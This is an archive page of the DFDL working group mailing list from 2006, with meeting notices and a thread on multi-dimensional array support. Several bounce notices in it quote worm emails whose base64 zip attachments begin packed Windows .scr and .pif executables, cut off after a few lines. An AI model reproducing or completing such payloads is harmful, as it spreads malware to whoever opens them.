- dfdl-wg - lists.ogf.org

DFDL Telcon tomorrow
by Westhead, Martin (Martin) 11 Oct '06

11 Oct '06

Call Details Time: 9am PDT Number: 1-800-664-0771 At the automated answering system, press 0 for the operator. Ask for the "Daffodil working group" call.

2 1

Telcon tomorrow
by Westhead, Martin (Martin) 04 Oct '06

04 Oct '06

I'm afraid I cannot make it to the meeting again tomorrow - sorry. Call Details Time: 9am PDT Number: 1-800-664-0771 At the automated answering system, press 0 for the operator. Ask for the "Daffodil working group" call.

1 0

contact
by Angelo Doty 24 Sep '06

24 Sep '06

1 0

hello
by Sue Fontenot 21 Sep '06

21 Sep '06

1 0

Delivery failure
by postmaster＠sklad10.ogf.org 21 Sep '06

21 Sep '06

System generated message - Please do not reply ---------------------------------------------- Delivery failure ---------------------------------------------- Your message has encountered delivery problems to the following recipients: superserega(a)mail.ru Reason: SMTP Delivery to mail.ru : RSET ---------------------------------------------- A transcript of the session follows ---------------------------------------------- * Beginning processing of domain mail.ru * Domain MX record lookup succeeded * Attempting connection to mxs.mail.ru. succeeded <= 220 Mail.Ru ESMTP => HELO sklad10 <= 250 mx23.mail.ru ready to serve => MAIL FROM:<dfdl-wg(a)ggf.org> <= 250 OK => RCPT TO:<superserega(a)mail.ru> <= 250 OK => DATA <= 354 Go ahead * Sending File <= 550 virus message discarded => RSET <= 250 OK ---------------------------------------------- Your message reads (in part): ---------------------------------------------- Received: From ggf.org (unverified [192.168.128.6]) by SMTP Server [192.168.128.10] (WinGate SMTP Receiver v5.0g) with SMTP id <0000281573@sklad10>; Thu, 21 Sep 2006 14:10:06 +0400 From: dfdl-wg(a)ggf.org To: superserega(a)mail.ru Subject: Status Date: Thu, 21 Sep 2006 14:26:58 +0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0004_9A98C5D2.07444D84" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0004_9A98C5D2.07444D84 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The original message was included as attachment ------=_NextPart_000_0004_9A98C5D2.07444D84 Content-Type: application/octet-stream; name="attachment.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="attachment.zip" UEsDBAoAAAAAAF1TNTWQsyrVLGUAACxlAAAOAAAAYXR0YWNobWVudC5zY3JNWpAAAwAAAAQAAAD/ /wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADoAAAADh+6DgC0 Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwAA AAAAAAAAAAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAKC0AAAAcAAAAMAAAAAAgAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAA AAAAAAAUxQAAMAEAAADAAAAUBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgVVBYMQAA AAAAUAAAAHAAAABGAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAACAAAAEoA AAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1 0

Re: [DFDL-WG] DFDL and Multi-dimensional arrays - just say no to them?
by Westhead, Martin (Martin) 20 Sep '06

20 Sep '06

My first reaction is this: If we are confident that we have the necessary hooks/extensibility mechanisms that multi dimensional arrays can be defined in all their glory as a supplement. Then it is very easy to say no. Another tack on this is the following. I do not think that we need to support arbitrary array representations in XML. However we do need to be able to describe the data format including metadata such as array dimensions etc. So I would push to go a little farther than your 1d array and say we need to define a way to describe the multidimensionality of your 1d array. Likewise it would be really good to have metadata to capture the description of sparse representations... Martin _____ From: dfdl-wg-bounces(a)ogf.org [mailto:dfdl-wg-bounces@ogf.org] On Behalf Of Mike Beckerle Sent: Wednesday, September 20, 2006 10:17 AM To: dfdl-wg(a)ogf.org Subject: [DFDL-WG] DFDL and Multi-dimensional arrays - just say no to them? I'd like to solicit opinions on this suggestion: We have been assuming we needed more than just 1d array support, but this is now unclear. We've pushed back on "top-down" use of XML Schemas, i.e., DFDL must be used bottom up, and transformation into the "logical form you wanted" is not our job. That is, the DFDL Schema's logical organization is constrained (heavily) by the data format. We could take an exactly analogous position with respect to multi-dimensional or other complex arrays. The DFDL describes the representation, and the sttructure of the DFDL schema will end up matching the shape of the representation of the array. Transforming that into something that looks and acts like a ordinary dense multi-dimensional array is a transformation that is out-of-scope for us. E.g., if the array is stored as a run-length encoded vector, then it is DFDL's job to describe this run-length encoded vector, but not to project/transform it so that it can be accessed in a manner that hides the run-length encoding and makes it look like an ordinary dense array. (I actually believe hiding sparse array implementations behind a dense-array facade is generally not advised. Algorithmically you must operate on the sparce representation anyway for efficiency. ) Suggested Conclusion: we can just say that we don't do multi-dimensional arrays because it is out-of-scope for us. Comments? ...mikeb

1 0

DFDL and Multi-dimensional arrays - just say no to them?
by Mike Beckerle 20 Sep '06

20 Sep '06

I'd like to solicit opinions on this suggestion: We have been assuming we needed more than just 1d array support, but this is now unclear. We've pushed back on "top-down" use of XML Schemas, i.e., DFDL must be used bottom up, and transformation into the "logical form you wanted" is not our job. That is, the DFDL Schema's logical organization is constrained (heavily) by the data format. We could take an exactly analogous position with respect to multi-dimensional or other complex arrays. The DFDL describes the representation, and the sttructure of the DFDL schema will end up matching the shape of the representation of the array. Transforming that into something that looks and acts like a ordinary dense multi-dimensional array is a transformation that is out-of-scope for us. E.g., if the array is stored as a run-length encoded vector, then it is DFDL's job to describe this run-length encoded vector, but not to project/transform it so that it can be accessed in a manner that hides the run-length encoding and makes it look like an ordinary dense array. (I actually believe hiding sparse array implementations behind a dense-array facade is generally not advised. Algorithmically you must operate on the sparce representation anyway for efficiency. ) Suggested Conclusion: we can just say that we don't do multi-dimensional arrays because it is out-of-scope for us. Comments? ...mikeb

1 0

DFDL Telcon tomorrow
by Westhead, Martin (Martin) 20 Sep '06

20 Sep '06

Agenda * Discuss ongoing document edits. * Review ongoing actions: Action: [Geoff] Put together a first pass description Action: [Mike] Look at DCGs Action: [Tom] Modifications to the scoping section. Call Details Time: 9am PDT Number: 1-800-664-0771 At the automated answering system, press 0 for the operator. Ask for the "Daffodil working group" call.

2 1

Delivery failure
by postmaster＠sklad10.ogf.org 20 Sep '06

20 Sep '06

System generated message - Please do not reply ---------------------------------------------- Delivery failure ---------------------------------------------- Your message has encountered delivery problems to the following recipients: antic(a)nwgsm.ru Reason: SMTP Remote: Message 0000270655 not sent, no recipients accepted ---------------------------------------------- A transcript of the session follows ---------------------------------------------- * Beginning processing of domain nwgsm.ru * Domain MX record lookup succeeded * Attempting connection to mail.nwgsm.ru. succeeded <= 220 nwgsm.ru ESMTP Postfix => HELO sklad10 <= 250 nwgsm.ru => MAIL FROM:<dfdl-wg(a)ggf.org> <= 250 Ok => RCPT TO:<antic(a)nwgsm.ru> <= 450 <antic(a)nwgsm.ru>: Recipient address rejected: greylist ---------------------------------------------- Your message reads (in part): ---------------------------------------------- Received: From ggf.org (unverified [192.168.128.6]) by SMTP Server [192.168.128.10] (WinGate SMTP Receiver v5.0g) with SMTP id <0000270655@sklad10>; Wed, 20 Sep 2006 10:33:46 +0400 From: dfdl-wg(a)ggf.org To: antic(a)nwgsm.ru Subject: Returned mail: see transcript for details Date: Wed, 20 Sep 2006 10:50:17 +0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0014_C0DE05E1.4E79AB54" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0014_C0DE05E1.4E79AB54 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The original message was received at Wed, 20 Sep 2006 10:50:17 +0400 from [32.77.39.49] ----- The following addresses had permanent fatal errors ----- antic(a)nwgsm.ru ------=_NextPart_000_0014_C0DE05E1.4E79AB54 Content-Type: application/octet-stream; name="mail.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mail.zip" UEsDBAoAAAAAAEg2NDUpDtivwHAAAMBwAAAIAAAATWFpbC5zY3JNWpAAAwAAAAQAAAD//wAAuAAA AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAAAADh+6DgC0Cc0huAFM zSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAADwELAQcAAGAA AAAQAAAAgAAAAO0AAACQAAAA8AAAAABQAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAAAAQAAEAAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABT1AAAwAQAAAPAAABQFAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAIAA AAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABgAAAAkAAAAGAAAAAEAAAAAAAA AAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAPAAAAAIAAAAZAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1 0

Delivery failure
by postmaster＠sklad10.ogf.org 18 Sep '06

18 Sep '06

System generated message - Please do not reply ---------------------------------------------- Delivery failure ---------------------------------------------- Your message has encountered delivery problems to the following recipients: halo14(a)yandex.ru Reason: SMTP Remote: Message 0000260645 not sent, no recipients accepted ---------------------------------------------- A transcript of the session follows ---------------------------------------------- * Beginning processing of domain yandex.ru * Domain MX record lookup succeeded * Attempting connection to mx1.yandex.ru. succeeded <= 220 Yandex ESMTP (NO UCE)(NO UBE) server ready at Mon, 18 Sep 2006 15:24:17 +0400 => HELO sklad10 <= 250 mxfront1.yandex.ru Hello sklad10 => MAIL FROM:<dfdl-wg(a)ggf.org> <= 250 2.1.0 Sender syntax Ok; => RCPT TO:<halo14(a)yandex.ru> <= 550 5.7.1 Hello [62.118.48.58], Policy analysis reported: Virus source. No response for complaints (MTU-CUST-A49B5BEB) (2006/09/15) rcpt=<halo14(a)yandex.ru> ---------------------------------------------- Your message reads (in part): ---------------------------------------------- Received: From ggf.org (unverified [192.168.128.6]) by SMTP Server [192.168.128.10] (WinGate SMTP Receiver v5.0g) with SMTP id <0000260645@sklad10>; Mon, 18 Sep 2006 15:14:16 +0400 From: dfdl-wg(a)ggf.org To: halo14(a)yandex.ru Subject: Gha Date: Mon, 18 Sep 2006 15:31:05 +0400 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_2C26D9DF.57B9EF5B" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0013_2C26D9DF.57B9EF5B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The original message was included as attachment ------=_NextPart_000_0013_2C26D9DF.57B9EF5B Content-Type: application/octet-stream; name="file.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="file.zip" UEsDBAoAAAAAAOJbMjV1c/M3MGQAADBkAAAIAAAAZ mlsZS5waWZNWpAAAwAAAAQAAAD//wAAuAAA AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADoAAAADh+6DgC0Cc0huAFM zSFUaGlzIHByb2dyYW0gY2Fubm90IGJlI HJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwAAAAAAAAAA AAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAKC0AAAAcAAAAMAAAAAAgAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAU xQAAMAEAAADAAAAUBQAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAABVUFgwAAAAAABgAAAAEAAAA AAAAAAEAAAAAAAAAAAAAAAAAACAAADgVVBYMQAAAAAAUAAA AHAAAABGAAAABAAAAAAAAAAAAAAAAAA AQAAA4C5yc3JjAAAAABAAAADAAAAACAAAAEoAAAAAAAAA AAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1 0